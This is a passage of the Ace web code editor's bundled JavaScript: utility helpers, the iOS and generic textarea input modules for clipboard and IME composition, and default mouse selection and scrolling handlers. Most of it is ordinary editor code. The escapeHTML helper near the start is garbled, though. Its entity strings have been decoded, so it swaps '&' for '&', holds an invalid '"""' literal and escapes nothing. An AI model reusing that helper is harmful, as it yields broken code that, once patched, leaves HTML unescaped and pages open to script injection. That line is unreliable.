return string.replace(trimBeginRegexp, '');
};
exports.stringTrimRight = function (string) {
return string.replace(trimEndRegexp, '');
};
exports.copyObject = function(obj) {
var copy = {};
for (var key in obj) {
copy[key] = obj[key];
}
return copy;
};
exports.copyArray = function(array){
var copy = [];
for (var i=0, l=array.length; i<l; i++) {
if (array[i] && typeof array[i] == "object")
copy[i] = this.copyObject(array[i]);
else
copy[i] = array[i];
}
return copy;
};
exports.deepCopy = function deepCopy(obj) {
if (typeof obj !== "object" || !obj)
return obj;
var copy;
if (Array.isArray(obj)) {
copy = [];
for (var key = 0; key < obj.length; key++) {
copy[key] = deepCopy(obj[key]);
}
return copy;
}
if (Object.prototype.toString.call(obj) !== "[object Object]")
return obj;
copy = {};
for (var key in obj)
copy[key] = deepCopy(obj[key]);
return copy;
};
exports.arrayToMap = function(arr) {
var map = {};
for (var i=0; i<arr.length; i++) {
map[arr[i]] = 1;
}
return map;
};
exports.createMap = function(props) {
var map = Object.create(null);
for (var i in props) {
map[i] = props[i];
}
return map;
};
exports.arrayRemove = function(array, value) {
for (var i = 0; i <= array.length; i++) {
if (value === array[i]) {
array.splice(i, 1);
}
}
};
exports.escapeRegExp = function(str) {
return str.replace(/([.*+?^${}()|[\]\/\\])/g, '\\$1');
};
exports.escapeHTML = function(str) {
return str.replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(/</g, "<");
};
exports.getMatchOffsets = function(string, regExp) {
var matches = [];
string.replace(regExp, function(str) {
matches.push({
offset: arguments[arguments.length-2],
length: str.length
});
});
return matches;
};
exports.deferredCall = function(fcn) {
var timer = null;
var callback = function() {
timer = null;
fcn();
};
var deferred = function(timeout) {
deferred.cancel();
timer = setTimeout(callback, timeout || 0);
return deferred;
};
deferred.schedule = deferred;
deferred.call = function() {
this.cancel();
fcn();
return deferred;
};
deferred.cancel = function() {
clearTimeout(timer);
timer = null;
return deferred;
};
deferred.isPending = function() {
return timer;
};
return deferred;
};
exports.delayedCall = function(fcn, defaultTimeout) {
var timer = null;
var callback = function() {
timer = null;
fcn();
};
var _self = function(timeout) {
if (timer == null)
timer = setTimeout(callback, timeout || defaultTimeout);
};
_self.delay = function(timeout) {
timer && clearTimeout(timer);
timer = setTimeout(callback, timeout || defaultTimeout);
};
_self.schedule = _self;
_self.call = function() {
this.cancel();
fcn();
};
_self.cancel = function() {
timer && clearTimeout(timer);
timer = null;
};
_self.isPending = function() {
return timer;
};
return _self;
};
});
ace.define("ace/keyboard/textinput_ios",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/lib/keys"], function(require, exports, module) {
"use strict";
var event = require("../lib/event");
var useragent = require("../lib/useragent");
var dom = require("../lib/dom");
var lang = require("../lib/lang");
var KEYS = require("../lib/keys");
var MODS = KEYS.KEY_MODS;
var BROKEN_SETDATA = useragent.isChrome < 18;
var USE_IE_MIME_TYPE = useragent.isIE;
var TextInput = function(parentNode, host) {
var self = this;
var text = dom.createElement("textarea");
text.className = useragent.isIOS ? "ace_text-input ace_text-input-ios" : "ace_text-input";
if (useragent.isTouchPad)
text.setAttribute("x-palm-disable-auto-cap", true);
text.setAttribute("wrap", "off");
text.setAttribute("autocorrect", "off");
text.setAttribute("autocapitalize", "off");
text.setAttribute("spellcheck", false);
text.style.opacity = "0";
parentNode.insertBefore(text, parentNode.firstChild);
var PLACEHOLDER = "\n aaaa a\n";
var copied = false;
var cut = false;
var pasted = false;
var inComposition = false;
var tempStyle = '';
var isSelectionEmpty = true;
try { var isFocused = document.activeElement === text; } catch(e) {}
event.addListener(text, "blur", function(e) {
host.onBlur(e);
isFocused = false;
});
event.addListener(text, "focus", function(e) {
isFocused = true;
host.onFocus(e);
resetSelection();
});
this.focus = function() {
if (tempStyle) return text.focus();
text.style.position = "fixed";
text.focus();
};
this.blur = function() {
text.blur();
};
this.isFocused = function() {
return isFocused;
};
var syncSelection = lang.delayedCall(function() {
isFocused && resetSelection(isSelectionEmpty);
});
var syncValue = lang.delayedCall(function() {
if (!inComposition) {
text.value = PLACEHOLDER;
isFocused && resetSelection();
}
});
function resetSelection(isEmpty) {
if (inComposition)
return;
inComposition = true;
if (inputHandler) {
selectionStart = 0;
selectionEnd = isEmpty ? 0 : text.value.length - 1;
} else {
var selectionStart = 4;
var selectionEnd = 5;
}
try {
text.setSelectionRange(selectionStart, selectionEnd);
} catch(e) {}
inComposition = false;
}
function resetValue() {
if (inComposition)
return;
text.value = PLACEHOLDER;
if (useragent.isWebKit)
syncValue.schedule();
}
useragent.isWebKit || host.addEventListener('changeSelection', function() {
if (host.selection.isEmpty() != isSelectionEmpty) {
isSelectionEmpty = !isSelectionEmpty;
syncSelection.schedule();
}
});
resetValue();
if (isFocused)
host.onFocus();
var isAllSelected = function(text) {
return text.selectionStart === 0 && text.selectionEnd === text.value.length;
};
var onSelect = function(e) {
if (isAllSelected(text)) {
host.selectAll();
resetSelection();
} else if (inputHandler) {
resetSelection(host.selection.isEmpty());
}
};
var inputHandler = null;
this.setInputHandler = function(cb) {inputHandler = cb;};
this.getInputHandler = function() {return inputHandler;};
var afterContextMenu = false;
var sendText = function(data) {
if (text.selectionStart === 4 && text.selectionEnd === 5) {
return;
}
if (inputHandler) {
data = inputHandler(data);
inputHandler = null;
}
if (pasted) {
resetSelection();
if (data)
host.onPaste(data);
pasted = false;
} else if (data == PLACEHOLDER.substr(0) && text.selectionStart === 4) {
if (afterContextMenu)
host.execCommand("del", {source: "ace"});
else // some versions of android do not fire keydown when pressing backspace
host.execCommand("backspace", {source: "ace"});
} else if (!copied) {
if (data.substring(0, 9) == PLACEHOLDER && data.length > PLACEHOLDER.length)
data = data.substr(9);
else if (data.substr(0, 4) == PLACEHOLDER.substr(0, 4))
data = data.substr(4, data.length - PLACEHOLDER.length + 1);
else if (data.charAt(data.length - 1) == PLACEHOLDER.charAt(0))
data = data.slice(0, -1);
if (data == PLACEHOLDER.charAt(0)) {
} else if (data.charAt(data.length - 1) == PLACEHOLDER.charAt(0))
data = data.slice(0, -1);
if (data)
host.onTextInput(data);
}
if (copied) {
copied = false;
}
if (afterContextMenu)
afterContextMenu = false;
};
var onInput = function(e) {
if (inComposition)
return;
var data = text.value;
sendText(data);
resetValue();
};
var handleClipboardData = function(e, data, forceIEMime) {
var clipboardData = e.clipboardData || window.clipboardData;
if (!clipboardData || BROKEN_SETDATA)
return;
var mime = USE_IE_MIME_TYPE || forceIEMime ? "Text" : "text/plain";
try {
if (data) {
return clipboardData.setData(mime, data) !== false;
} else {
return clipboardData.getData(mime);
}
} catch(e) {
if (!forceIEMime)
return handleClipboardData(e, data, true);
}
};
var doCopy = function(e, isCut) {
var data = host.getCopyText();
if (!data)
return event.preventDefault(e);
if (handleClipboardData(e, data)) {
if (useragent.isIOS) {
cut = isCut;
text.value = "\n aa" + data + "a a\n";
text.setSelectionRange(4, 4 + data.length);
copied = {
value: data
};
}
isCut ? host.onCut() : host.onCopy();
if (!useragent.isIOS) event.preventDefault(e);
} else {
copied = true;
text.value = data;
text.select();
setTimeout(function(){
copied = false;
resetValue();
resetSelection();
isCut ? host.onCut() : host.onCopy();
});
}
};
var onCut = function(e) {
doCopy(e, true);
};
var onCopy = function(e) {
doCopy(e, false);
};
var onPaste = function(e) {
var data = handleClipboardData(e);
if (typeof data == "string") {
if (data)
host.onPaste(data, e);
if (useragent.isIE)
setTimeout(resetSelection);
event.preventDefault(e);
}
else {
text.value = "";
pasted = true;
}
};
event.addCommandKeyListener(text, host.onCommandKey.bind(host));
event.addListener(text, "select", onSelect);
event.addListener(text, "input", onInput);
event.addListener(text, "cut", onCut);
event.addListener(text, "copy", onCopy);
event.addListener(text, "paste", onPaste);
var onCompositionStart = function(e) {
if (inComposition || !host.onCompositionStart || host.$readOnly)
return;
inComposition = {};
inComposition.canUndo = host.session.$undoManager;
host.onCompositionStart();
setTimeout(onCompositionUpdate, 0);
host.on("mousedown", onCompositionEnd);
if (inComposition.canUndo && !host.selection.isEmpty()) {
host.insert("");
host.session.markUndoGroup();
host.selection.clearSelection();
}
host.session.markUndoGroup();
};
var onCompositionUpdate = function() {
if (!inComposition || !host.onCompositionUpdate || host.$readOnly)
return;
var val = text.value.replace(/\x01/g, "");
if (inComposition.lastValue === val) return;
host.onCompositionUpdate(val);
if (inComposition.lastValue)
host.undo();
if (inComposition.canUndo)
inComposition.lastValue = val;
if (inComposition.lastValue) {
var r = host.selection.getRange();
host.insert(inComposition.lastValue);
host.session.markUndoGroup();
inComposition.range = host.selection.getRange();
host.selection.setRange(r);
host.selection.clearSelection();
}
};
var onCompositionEnd = function(e) {
if (!host.onCompositionEnd || host.$readOnly) return;
var c = inComposition;
inComposition = false;
var timer = setTimeout(function() {
timer = null;
var str = text.value.replace(/\x01/g, "");
if (inComposition)
return;
else if (str == c.lastValue)
resetValue();
else if (!c.lastValue && str) {
resetValue();
sendText(str);
}
});
inputHandler = function compositionInputHandler(str) {
if (timer)
clearTimeout(timer);
str = str.replace(/\x01/g, "");
if (str == c.lastValue)
return "";
if (c.lastValue && timer)
host.undo();
return str;
};
host.onCompositionEnd();
host.removeListener("mousedown", onCompositionEnd);
if (e.type == "compositionend" && c.range) {
host.selection.setRange(c.range);
}
var needsOnInput =
(!!useragent.isChrome && useragent.isChrome >= 53) ||
(!!useragent.isWebKit && useragent.isWebKit >= 603);
if (needsOnInput) {
onInput();
}
};
var syncComposition = lang.delayedCall(onCompositionUpdate, 50);
event.addListener(text, "compositionstart", onCompositionStart);
if (useragent.isGecko) {
event.addListener(text, "text", function(){syncComposition.schedule();});
} else {
event.addListener(text, "keyup", function(){syncComposition.schedule();});
event.addListener(text, "keydown", function(){syncComposition.schedule();});
}
event.addListener(text, "compositionend", onCompositionEnd);
this.getElement = function() {
return text;
};
this.setReadOnly = function(readOnly) {
text.readOnly = readOnly;
};
this.onContextMenu = function(e) {
afterContextMenu = true;
resetSelection(host.selection.isEmpty());
host._emit("nativecontextmenu", {target: host, domEvent: e});
this.moveToMouse(e, true);
};
this.moveToMouse = function(e, bringToFront) {
if (!tempStyle)
tempStyle = text.style.cssText;
text.style.cssText = (bringToFront ? "z-index:100000;" : "")
+ "height:" + text.style.height + ";"
+ (useragent.isIE ? "opacity:0.1;" : "");
var rect = host.container.getBoundingClientRect();
var style = dom.computedStyle(host.container);
var top = rect.top + (parseInt(style.borderTopWidth) || 0);
var left = rect.left + (parseInt(rect.borderLeftWidth) || 0);
var maxTop = rect.bottom - top - text.clientHeight -2;
var move = function(e) {
text.style.left = e.clientX - left - 2 + "px";
text.style.top = Math.min(e.clientY - top - 2, maxTop) + "px";
};
move(e);
if (e.type != "mousedown")
return;
if (host.renderer.$keepTextAreaAtCursor)
host.renderer.$keepTextAreaAtCursor = null;
clearTimeout(closeTimeout);
if (useragent.isWin)
event.capture(host.container, move, onContextMenuClose);
};
this.onContextMenuClose = onContextMenuClose;
var closeTimeout;
function onContextMenuClose() {
clearTimeout(closeTimeout);
closeTimeout = setTimeout(function () {
if (tempStyle) {
text.style.cssText = tempStyle;
tempStyle = '';
}
if (host.renderer.$keepTextAreaAtCursor == null) {
host.renderer.$keepTextAreaAtCursor = true;
host.renderer.$moveTextAreaToCursor();
}
}, 0);
}
var onContextMenu = function(e) {
host.textInput.onContextMenu(e);
onContextMenuClose();
};
event.addListener(text, "mouseup", onContextMenu);
event.addListener(text, "mousedown", function(e) {
e.preventDefault();
onContextMenuClose();
});
event.addListener(host.renderer.scroller, "contextmenu", onContextMenu);
event.addListener(text, "contextmenu", onContextMenu);
if (useragent.isIOS) {
var typingResetTimeout = null;
var typing = false;
parentNode.addEventListener("keydown", function (e) {
if (typingResetTimeout) clearTimeout(typingResetTimeout);
typing = true;
});
parentNode.addEventListener("keyup", function (e) {
typingResetTimeout = setTimeout(function () {
typing = false;
}, 100);
});
var detectArrowKeys = function(e) {
if (document.activeElement !== text) return;
if (typing) return;
if (cut) {
return setTimeout(function () {
cut = false;
}, 100);
}
var selectionStart = text.selectionStart;
var selectionEnd = text.selectionEnd;
text.setSelectionRange(4, 5);
if (selectionStart == selectionEnd) {
switch (selectionStart) {
case 0: host.onCommandKey(null, 0, KEYS.up); break;
case 1: host.onCommandKey(null, 0, KEYS.home); break;
case 2: host.onCommandKey(null, MODS.option, KEYS.left); break;
case 4: host.onCommandKey(null, 0, KEYS.left); break;
case 5: host.onCommandKey(null, 0, KEYS.right); break;
case 7: host.onCommandKey(null, MODS.option, KEYS.right); break;
case 8: host.onCommandKey(null, 0, KEYS.end); break;
case 9: host.onCommandKey(null, 0, KEYS.down); break;
}
} else {
switch (selectionEnd) {
case 6: host.onCommandKey(null, MODS.shift, KEYS.right); break;
case 7: host.onCommandKey(null, MODS.shift | MODS.option, KEYS.right); break;
case 8: host.onCommandKey(null, MODS.shift, KEYS.end); break;
case 9: host.onCommandKey(null, MODS.shift, KEYS.down); break;
}
switch (selectionStart) {
case 0: host.onCommandKey(null, MODS.shift, KEYS.up); break;
case 1: host.onCommandKey(null, MODS.shift, KEYS.home); break;
case 2: host.onCommandKey(null, MODS.shift | MODS.option, KEYS.left); break;
case 3: host.onCommandKey(null, MODS.shift, KEYS.left); break;
}
}
};
document.addEventListener("selectionchange", detectArrowKeys);
host.on("destroy", function() {
document.removeEventListener("selectionchange", detectArrowKeys);
});
}
};
exports.TextInput = TextInput;
});
ace.define("ace/keyboard/textinput",["require","exports","module","ace/lib/event","ace/lib/useragent","ace/lib/dom","ace/lib/lang","ace/keyboard/textinput_ios"], function(require, exports, module) {
"use strict";
var event = require("../lib/event");
var useragent = require("../lib/useragent");
var dom = require("../lib/dom");
var lang = require("../lib/lang");
var BROKEN_SETDATA = useragent.isChrome < 18;
var USE_IE_MIME_TYPE = useragent.isIE;
var TextInputIOS = require("./textinput_ios").TextInput;
var TextInput = function(parentNode, host) {
if (useragent.isIOS)
return TextInputIOS.call(this, parentNode, host);
var text = dom.createElement("textarea");
text.className = "ace_text-input";
text.setAttribute("wrap", "off");
text.setAttribute("autocorrect", "off");
text.setAttribute("autocapitalize", "off");
text.setAttribute("spellcheck", false);
text.style.opacity = "0";
parentNode.insertBefore(text, parentNode.firstChild);
var PLACEHOLDER = "\u2028\u2028";
var copied = false;
var pasted = false;
var inComposition = false;
var tempStyle = '';
var isSelectionEmpty = true;
try { var isFocused = document.activeElement === text; } catch(e) {}
event.addListener(text, "blur", function(e) {
host.onBlur(e);
isFocused = false;
});
event.addListener(text, "focus", function(e) {
isFocused = true;
host.onFocus(e);
resetSelection();
});
this.focus = function() {
if (tempStyle) return text.focus();
var top = text.style.top;
text.style.position = "fixed";
text.style.top = "0px";
text.focus();
setTimeout(function() {
text.style.position = "";
if (text.style.top == "0px")
text.style.top = top;
}, 0);
};
this.blur = function() {
text.blur();
};
this.isFocused = function() {
return isFocused;
};
var syncSelection = lang.delayedCall(function() {
isFocused && resetSelection(isSelectionEmpty);
});
var syncValue = lang.delayedCall(function() {
if (!inComposition) {
text.value = PLACEHOLDER;
isFocused && resetSelection();
}
});
function resetSelection(isEmpty) {
if (inComposition)
return;
inComposition = true;
if (inputHandler) {
var selectionStart = 0;
var selectionEnd = isEmpty ? 0 : text.value.length - 1;
} else {
var selectionStart = isEmpty ? 2 : 1;
var selectionEnd = 2;
}
try {
text.setSelectionRange(selectionStart, selectionEnd);
} catch(e){}
inComposition = false;
}
function resetValue() {
if (inComposition)
return;
text.value = PLACEHOLDER;
if (useragent.isWebKit)
syncValue.schedule();
}
useragent.isWebKit || host.addEventListener('changeSelection', function() {
if (host.selection.isEmpty() != isSelectionEmpty) {
isSelectionEmpty = !isSelectionEmpty;
syncSelection.schedule();
}
});
resetValue();
if (isFocused)
host.onFocus();
var isAllSelected = function(text) {
return text.selectionStart === 0 && text.selectionEnd === text.value.length;
};
var onSelect = function(e) {
if (copied) {
copied = false;
} else if (isAllSelected(text)) {
host.selectAll();
resetSelection();
} else if (inputHandler) {
resetSelection(host.selection.isEmpty());
}
};
var inputHandler = null;
this.setInputHandler = function(cb) {inputHandler = cb;};
this.getInputHandler = function() {return inputHandler;};
var afterContextMenu = false;
var sendText = function(data) {
if (inputHandler) {
data = inputHandler(data);
inputHandler = null;
}
if (pasted) {
resetSelection();
if (data)
host.onPaste(data);
pasted = false;
} else if (data == PLACEHOLDER.charAt(0)) {
if (afterContextMenu)
host.execCommand("del", {source: "ace"});
else // some versions of android do not fire keydown when pressing backspace
host.execCommand("backspace", {source: "ace"});
} else {
if (data.substring(0, 2) == PLACEHOLDER)
data = data.substr(2);
else if (data.charAt(0) == PLACEHOLDER.charAt(0))
data = data.substr(1);
else if (data.charAt(data.length - 1) == PLACEHOLDER.charAt(0))
data = data.slice(0, -1);
if (data.charAt(data.length - 1) == PLACEHOLDER.charAt(0))
data = data.slice(0, -1);
if (data)
host.onTextInput(data);
}
if (afterContextMenu)
afterContextMenu = false;
};
var onInput = function(e) {
if (inComposition)
return;
var data = text.value;
sendText(data);
resetValue();
};
var handleClipboardData = function(e, data, forceIEMime) {
var clipboardData = e.clipboardData || window.clipboardData;
if (!clipboardData || BROKEN_SETDATA)
return;
var mime = USE_IE_MIME_TYPE || forceIEMime ? "Text" : "text/plain";
try {
if (data) {
return clipboardData.setData(mime, data) !== false;
} else {
return clipboardData.getData(mime);
}
} catch(e) {
if (!forceIEMime)
return handleClipboardData(e, data, true);
}
};
var doCopy = function(e, isCut) {
var data = host.getCopyText();
if (!data)
return event.preventDefault(e);
if (handleClipboardData(e, data)) {
isCut ? host.onCut() : host.onCopy();
event.preventDefault(e);
} else {
copied = true;
text.value = data;
text.select();
setTimeout(function(){
copied = false;
resetValue();
resetSelection();
isCut ? host.onCut() : host.onCopy();
});
}
};
var onCut = function(e) {
doCopy(e, true);
};
var onCopy = function(e) {
doCopy(e, false);
};
var onPaste = function(e) {
var data = handleClipboardData(e);
if (typeof data == "string") {
if (data)
host.onPaste(data, e);
if (useragent.isIE)
setTimeout(resetSelection);
event.preventDefault(e);
}
else {
text.value = "";
pasted = true;
}
};
event.addCommandKeyListener(text, host.onCommandKey.bind(host));
event.addListener(text, "select", onSelect);
event.addListener(text, "input", onInput);
event.addListener(text, "cut", onCut);
event.addListener(text, "copy", onCopy);
event.addListener(text, "paste", onPaste);
if (!('oncut' in text) || !('oncopy' in text) || !('onpaste' in text)) {
event.addListener(parentNode, "keydown", function(e) {
if ((useragent.isMac && !e.metaKey) || !e.ctrlKey)
return;
switch (e.keyCode) {
case 67:
onCopy(e);
break;
case 86:
onPaste(e);
break;
case 88:
onCut(e);
break;
}
});
}
var onCompositionStart = function(e) {
if (inComposition || !host.onCompositionStart || host.$readOnly)
return;
inComposition = {};
inComposition.canUndo = host.session.$undoManager;
host.onCompositionStart();
setTimeout(onCompositionUpdate, 0);
host.on("mousedown", onCompositionEnd);
if (inComposition.canUndo && !host.selection.isEmpty()) {
host.insert("");
host.session.markUndoGroup();
host.selection.clearSelection();
}
host.session.markUndoGroup();
};
var onCompositionUpdate = function() {
if (!inComposition || !host.onCompositionUpdate || host.$readOnly)
return;
var val = text.value.replace(/\u2028/g, "");
if (inComposition.lastValue === val) return;
host.onCompositionUpdate(val);
if (inComposition.lastValue)
host.undo();
if (inComposition.canUndo)
inComposition.lastValue = val;
if (inComposition.lastValue) {
var r = host.selection.getRange();
host.insert(inComposition.lastValue);
host.session.markUndoGroup();
inComposition.range = host.selection.getRange();
host.selection.setRange(r);
host.selection.clearSelection();
}
};
var onCompositionEnd = function(e) {
if (!host.onCompositionEnd || host.$readOnly) return;
var c = inComposition;
inComposition = false;
var timer = setTimeout(function() {
timer = null;
var str = text.value.replace(/\u2028/g, "");
if (inComposition)
return;
else if (str == c.lastValue)
resetValue();
else if (!c.lastValue && str) {
resetValue();
sendText(str);
}
});
inputHandler = function compositionInputHandler(str) {
if (timer)
clearTimeout(timer);
str = str.replace(/\u2028/g, "");
if (str == c.lastValue)
return "";
if (c.lastValue && timer)
host.undo();
return str;
};
host.onCompositionEnd();
host.removeListener("mousedown", onCompositionEnd);
if (e.type == "compositionend" && c.range) {
host.selection.setRange(c.range);
}
var needsOnInput =
(!!useragent.isChrome && useragent.isChrome >= 53) ||
(!!useragent.isWebKit && useragent.isWebKit >= 603);
if (needsOnInput) {
onInput();
}
};
var syncComposition = lang.delayedCall(onCompositionUpdate, 50);
event.addListener(text, "compositionstart", onCompositionStart);
if (useragent.isGecko) {
event.addListener(text, "text", function(){syncComposition.schedule();});
} else {
event.addListener(text, "keyup", function(){syncComposition.schedule();});
event.addListener(text, "keydown", function(){syncComposition.schedule();});
}
event.addListener(text, "compositionend", onCompositionEnd);
this.getElement = function() {
return text;
};
this.setReadOnly = function(readOnly) {
text.readOnly = readOnly;
};
this.onContextMenu = function(e) {
afterContextMenu = true;
resetSelection(host.selection.isEmpty());
host._emit("nativecontextmenu", {target: host, domEvent: e});
this.moveToMouse(e, true);
};
this.moveToMouse = function(e, bringToFront) {
if (!tempStyle)
tempStyle = text.style.cssText;
text.style.cssText = (bringToFront ? "z-index:100000;" : "")
+ "height:" + text.style.height + ";"
+ (useragent.isIE ? "opacity:0.1;" : "");
var rect = host.container.getBoundingClientRect();
var style = dom.computedStyle(host.container);
var top = rect.top + (parseInt(style.borderTopWidth) || 0);
var left = rect.left + (parseInt(rect.borderLeftWidth) || 0);
var maxTop = rect.bottom - top - text.clientHeight -2;
var move = function(e) {
text.style.left = e.clientX - left - 2 + "px";
text.style.top = Math.min(e.clientY - top - 2, maxTop) + "px";
};
move(e);
if (e.type != "mousedown")
return;
if (host.renderer.$keepTextAreaAtCursor)
host.renderer.$keepTextAreaAtCursor = null;
clearTimeout(closeTimeout);
if (useragent.isWin)
event.capture(host.container, move, onContextMenuClose);
};
this.onContextMenuClose = onContextMenuClose;
var closeTimeout;
function onContextMenuClose() {
clearTimeout(closeTimeout);
closeTimeout = setTimeout(function () {
if (tempStyle) {
text.style.cssText = tempStyle;
tempStyle = '';
}
if (host.renderer.$keepTextAreaAtCursor == null) {
host.renderer.$keepTextAreaAtCursor = true;
host.renderer.$moveTextAreaToCursor();
}
}, 0);
}
var onContextMenu = function(e) {
host.textInput.onContextMenu(e);
onContextMenuClose();
};
event.addListener(text, "mouseup", onContextMenu);
event.addListener(text, "mousedown", function(e) {
e.preventDefault();
onContextMenuClose();
});
event.addListener(host.renderer.scroller, "contextmenu", onContextMenu);
event.addListener(text, "contextmenu", onContextMenu);
};
exports.TextInput = TextInput;
});
ace.define("ace/mouse/default_handlers",["require","exports","module","ace/lib/dom","ace/lib/event","ace/lib/useragent"], function(require, exports, module) {
"use strict";
var dom = require("../lib/dom");
var event = require("../lib/event");
var useragent = require("../lib/useragent");
var DRAG_OFFSET = 0; // pixels
var SCROLL_COOLDOWN_T = 250; // milliseconds
function DefaultHandlers(mouseHandler) {
mouseHandler.$clickSelection = null;
var editor = mouseHandler.editor;
editor.setDefaultHandler("mousedown", this.onMouseDown.bind(mouseHandler));
editor.setDefaultHandler("dblclick", this.onDoubleClick.bind(mouseHandler));
editor.setDefaultHandler("tripleclick", this.onTripleClick.bind(mouseHandler));
editor.setDefaultHandler("quadclick", this.onQuadClick.bind(mouseHandler));
editor.setDefaultHandler("mousewheel", this.onMouseWheel.bind(mouseHandler));
editor.setDefaultHandler("touchmove", this.onTouchMove.bind(mouseHandler));
var exports = ["select", "startSelect", "selectEnd", "selectAllEnd", "selectByWordsEnd",
"selectByLinesEnd", "dragWait", "dragWaitEnd", "focusWait"];
exports.forEach(function(x) {
mouseHandler[x] = this[x];
}, this);
mouseHandler.selectByLines = this.extendSelectionBy.bind(mouseHandler, "getLineRange");
mouseHandler.selectByWords = this.extendSelectionBy.bind(mouseHandler, "getWordRange");
}
(function() {
this.onMouseDown = function(ev) {
var inSelection = ev.inSelection();
var pos = ev.getDocumentPosition();
this.mousedownEvent = ev;
var editor = this.editor;
var button = ev.getButton();
if (button !== 0) {
var selectionRange = editor.getSelectionRange();
var selectionEmpty = selectionRange.isEmpty();
editor.$blockScrolling++;
if (selectionEmpty || button == 1)
editor.selection.moveToPosition(pos);
editor.$blockScrolling--;
if (button == 2) {
editor.textInput.onContextMenu(ev.domEvent);
if (!useragent.isMozilla)
ev.preventDefault();
}
return;
}
this.mousedownEvent.time = Date.now();
if (inSelection && !editor.isFocused()) {
editor.focus();
if (this.$focusTimout && !this.$clickSelection && !editor.inMultiSelectMode) {
this.setState("focusWait");
this.captureMouse(ev);
return;
}
}
this.captureMouse(ev);
this.startSelect(pos, ev.domEvent._clicks > 1);
return ev.preventDefault();
};
this.startSelect = function(pos, waitForClickSelection) {
pos = pos || this.editor.renderer.screenToTextCoordinates(this.x, this.y);
var editor = this.editor;
editor.$blockScrolling++;
if (this.mousedownEvent.getShiftKey())
editor.selection.selectToPosition(pos);
else if (!waitForClickSelection)
editor.selection.moveToPosition(pos);
if (!waitForClickSelection)
this.select();
if (editor.renderer.scroller.setCapture) {
editor.renderer.scroller.setCapture();
}
editor.setStyle("ace_selecting");
this.setState("select");
editor.$blockScrolling--;
};
this.select = function() {
var anchor, editor = this.editor;
var cursor = editor.renderer.screenToTextCoordinates(this.x, this.y);
editor.$blockScrolling++;
if (this.$clickSelection) {
var cmp = this.$clickSelection.comparePoint(cursor);
if (cmp == -1) {
anchor = this.$clickSelection.end;
} else if (cmp == 1) {
anchor = this.$clickSelection.start;
} else {
var orientedRange = calcRangeOrientation(this.$clickSelection, cursor);
cursor = orientedRange.cursor;
anchor = orientedRange.anchor;
}
editor.selection.setSelectionAnchor(anchor.row, anchor.column);
}
editor.selection.selectToPosition(cursor);
editor.$blockScrolling--;
editor.renderer.scrollCursorIntoView();
};
this.extendSelectionBy = function(unitName) {
var anchor, editor = this.editor;
var cursor = editor.renderer.screenToTextCoordinates(this.x, this.y);
var range = editor.selection[unitName](cursor.row, cursor.column);
editor.$blockScrolling++;
if (this.$clickSelection) {
var cmpStart = this.$clickSelection.comparePoint(range.start);
var cmpEnd = this.$clickSelection.comparePoint(range.end);
if (cmpStart == -1 && cmpEnd <= 0) {
anchor = this.$clickSelection.end;
if (range.end.row != cursor.row || range.end.column != cursor.column)
cursor = range.start;
} else if (cmpEnd == 1 && cmpStart >= 0) {
anchor = this.$clickSelection.start;
if (range.start.row != cursor.row || range.start.column != cursor.column)
cursor = range.end;
} else if (cmpStart == -1 && cmpEnd == 1) {
cursor = range.end;
anchor = range.start;
} else {
var orientedRange = calcRangeOrientation(this.$clickSelection, cursor);
cursor = orientedRange.cursor;
anchor = orientedRange.anchor;
}
editor.selection.setSelectionAnchor(anchor.row, anchor.column);
}
editor.selection.selectToPosition(cursor);
editor.$blockScrolling--;
editor.renderer.scrollCursorIntoView();
};
this.selectEnd =
this.selectAllEnd =
this.selectByWordsEnd =
this.selectByLinesEnd = function() {
this.$clickSelection = null;
this.editor.unsetStyle("ace_selecting");
if (this.editor.renderer.scroller.releaseCapture) {
this.editor.renderer.scroller.releaseCapture();
}
};
this.focusWait = function() {
var distance = calcDistance(this.mousedownEvent.x, this.mousedownEvent.y, this.x, this.y);
var time = Date.now();
if (distance > DRAG_OFFSET || time - this.mousedownEvent.time > this.$focusTimout)
this.startSelect(this.mousedownEvent.getDocumentPosition());
};
this.onDoubleClick = function(ev) {
var pos = ev.getDocumentPosition();
var editor = this.editor;
var session = editor.session;
var range = session.getBracketRange(pos);
if (range) {
if (range.isEmpty()) {
range.start.column--;
range.end.column++;
}
this.setState("select");
} else {
range = editor.selection.getWordRange(pos.row, pos.column);
this.setState("selectByWords");
}
this.$clickSelection = range;
this.select();
};
this.onTripleClick = function(ev) {
var pos = ev.getDocumentPosition();
var editor = this.editor;
this.setState("selectByLines");
var range = editor.getSelectionRange();
if (range.isMultiLine() && range.contains(pos.row, pos.column)) {
this.$clickSelection = editor.selection.getLineRange(range.start.row);
this.$clickSelection.end = editor.selection.getLineRange(range.end.row).end;
} else {
this.$clickSelection = editor.selection.getLineRange(pos.row);
}
this.select();
};
this.onQuadClick = function(ev) {
var editor = this.editor;
editor.selectAll();
this.$clickSelection = editor.getSelectionRange();
this.setState("selectAll");
};
this.onMouseWheel = function(ev) {
if (ev.getAccelKey())
return;
if (ev.getShiftKey() && ev.wheelY && !ev.wheelX) {
ev.wheelX = ev.wheelY;
ev.wheelY = 0;
}
var editor = this.editor;
if (!this.$lastScroll)
this.$lastScroll = { t: 0, vx: 0, vy: 0, allowed: 0 };
var prevScroll = this.$lastScroll;
var t = ev.domEvent.timeStamp;
var dt = t - prevScroll.t;
var vx = ev.wheelX / dt;
var vy = ev.wheelY / dt;
if (dt < SCROLL_COOLDOWN_T) {
vx = (vx + prevScroll.vx) / 2;
vy = (vy + prevScroll.vy) / 2;
}
var direction = Math.abs(vx / vy);
var canScroll = false;
if (direction >= 1 && editor.renderer.isScrollableBy(ev.wheelX * ev.speed, 0))
canScroll = true;
if (direction <= 1 && editor.renderer.isScrollableBy(0, ev.wheelY * ev.speed))
canScroll = true;
if (canScroll) {
prevScroll.allowed = t;
} else if (t - prevScroll.allowed < SCROLL_COOLDOWN_T) {
var isSlower = Math.abs(vx) <= 1.1 * Math.abs(prevScroll.vx)
&& Math.abs(vy) <= 1.1 * Math.abs(prevScroll.vy);
if (isSlower) {
canScroll = true;
prevScroll.allowed = t;
}
else {
prevScroll.allowed = 0;
}
}
prevScroll.t = t;
prevScroll.vx = vx;
prevScroll.vy = vy;
if (canScroll) {
editor.renderer.scrollBy(ev.wheelX * ev.speed, ev.wheelY * ev.speed);
return ev.stop();
}
};
this.onTouchMove = function(ev) {
this.editor._emit("mousewheel", ev);
};
}).call(DefaultHandlers.prototype);
exports.DefaultHandlers = DefaultHandlers;
function calcDistance(ax, ay, bx, by) {
